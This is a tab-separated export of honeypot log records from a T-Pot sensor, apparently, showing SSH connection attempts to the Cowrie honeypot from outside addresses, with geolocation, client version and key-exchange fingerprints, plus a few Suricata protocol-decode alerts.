36874	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:17:49.988165+03	2021-09-20 15:30:02.858869+03	{"_id": "fwYkA3wBvYTbRNuEGmWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "239.255.255.250", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:17:49.988165Z", "@timestamp": "2021-09-20T12:17:49.988Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
23627	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:40.529711+03	2021-09-20 14:15:07.749511+03	{"_id": "DAbjAnwBvYTbRNuE4g4F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "de7faa434b15", "@version": "1", "duration": 5.536414861679077, "timestamp": "2021-09-20T11:07:40.529711Z", "@timestamp": "2021-09-20T11:07:40.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23628	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:40.776799+03	2021-09-20 14:15:07.7515+03	{"_id": "DQbjAnwBvYTbRNuE4g4F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "84b3477ef84b", "@version": "1", "duration": 4.288556098937988, "timestamp": "2021-09-20T11:07:40.776799Z", "@timestamp": "2021-09-20T11:07:40.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23629	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.616829+03	2021-09-20 14:15:07.752497+03	{"_id": "HAbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9a3eb004ca57", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:40.616829Z", "@timestamp": "2021-09-20T11:07:40.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23630	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.513211+03	2021-09-20 14:15:07.753501+03	{"_id": "IAbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57610 (192.168.176.2:22) [session: 9a3eb004ca57]", "session": "9a3eb004ca57", "@version": "1", "protocol": "ssh", "src_port": 57610, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.513211Z", "@timestamp": "2021-09-20T11:07:40.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23631	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:40.445566+03	2021-09-20 14:15:07.7545+03	{"_id": "EwbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "e0d94bd02c8e", "@version": "1", "duration": 9.467161417007446, "timestamp": "2021-09-20T11:07:40.445566Z", "@timestamp": "2021-09-20T11:07:40.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23632	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.972598+03	2021-09-20 14:15:07.755501+03	{"_id": "HgbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6737c28d71b9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:40.972598Z", "@timestamp": "2021-09-20T11:07:40.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
36946	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:15.707151+03	2021-09-20 15:30:02.961867+03	{"_id": "-wYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:15.707151Z", "@timestamp": "2021-09-20T12:18:15.707Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
23634	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:41.965508+03	2021-09-20 14:15:07.758471+03	{"_id": "QQbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d6ad7ec06fcd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:41.965508Z", "@timestamp": "2021-09-20T11:07:41.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23635	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:41.28809+03	2021-09-20 14:15:07.75947+03	{"_id": "SwbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59918, "timestamp": "2021-09-20T11:07:41.288090", "@timestamp": "2021-09-20T11:07:41.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23636	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.577631+03	2021-09-20 14:15:07.76147+03	{"_id": "TQbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "431b0eae0d8c", "@version": "1", "timestamp": "2021-09-20T11:07:41.577631Z", "@timestamp": "2021-09-20T11:07:41.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23637	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.884901+03	2021-09-20 14:15:07.762471+03	{"_id": "TgbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4aea487b336f", "@version": "1", "timestamp": "2021-09-20T11:07:41.884901Z", "@timestamp": "2021-09-20T11:07:41.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23638	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:42.076231+03	2021-09-20 14:15:07.76347+03	{"_id": "TwbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 15 seconds", "session": "a384d2f88b02", "@version": "1", "duration": 15.525160312652588, "timestamp": "2021-09-20T11:07:42.076231Z", "@timestamp": "2021-09-20T11:07:42.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23639	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:42.729071+03	2021-09-20 14:15:07.764471+03	{"_id": "XQbjAnwBvYTbRNuE6A5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 279131728033190, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44924, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.729071Z", "@timestamp": "2021-09-20T11:07:42.729Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23640	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.77182+03	2021-09-20 14:15:07.76647+03	{"_id": "lAbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7193 (192.168.176.2:22) [session: c4d761de32d2]", "session": "c4d761de32d2", "@version": "1", "protocol": "ssh", "src_port": 7193, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.771820Z", "@timestamp": "2021-09-20T11:07:38.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23641	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.722841+03	2021-09-20 14:15:07.767471+03	{"_id": "kAbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab55d5dbf2c2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:38.722841Z", "@timestamp": "2021-09-20T11:07:38.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23642	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:38.608482+03	2021-09-20 14:15:07.768471+03	{"_id": "pgbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49232, "timestamp": "2021-09-20T11:07:38.608482", "@timestamp": "2021-09-20T11:07:38.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
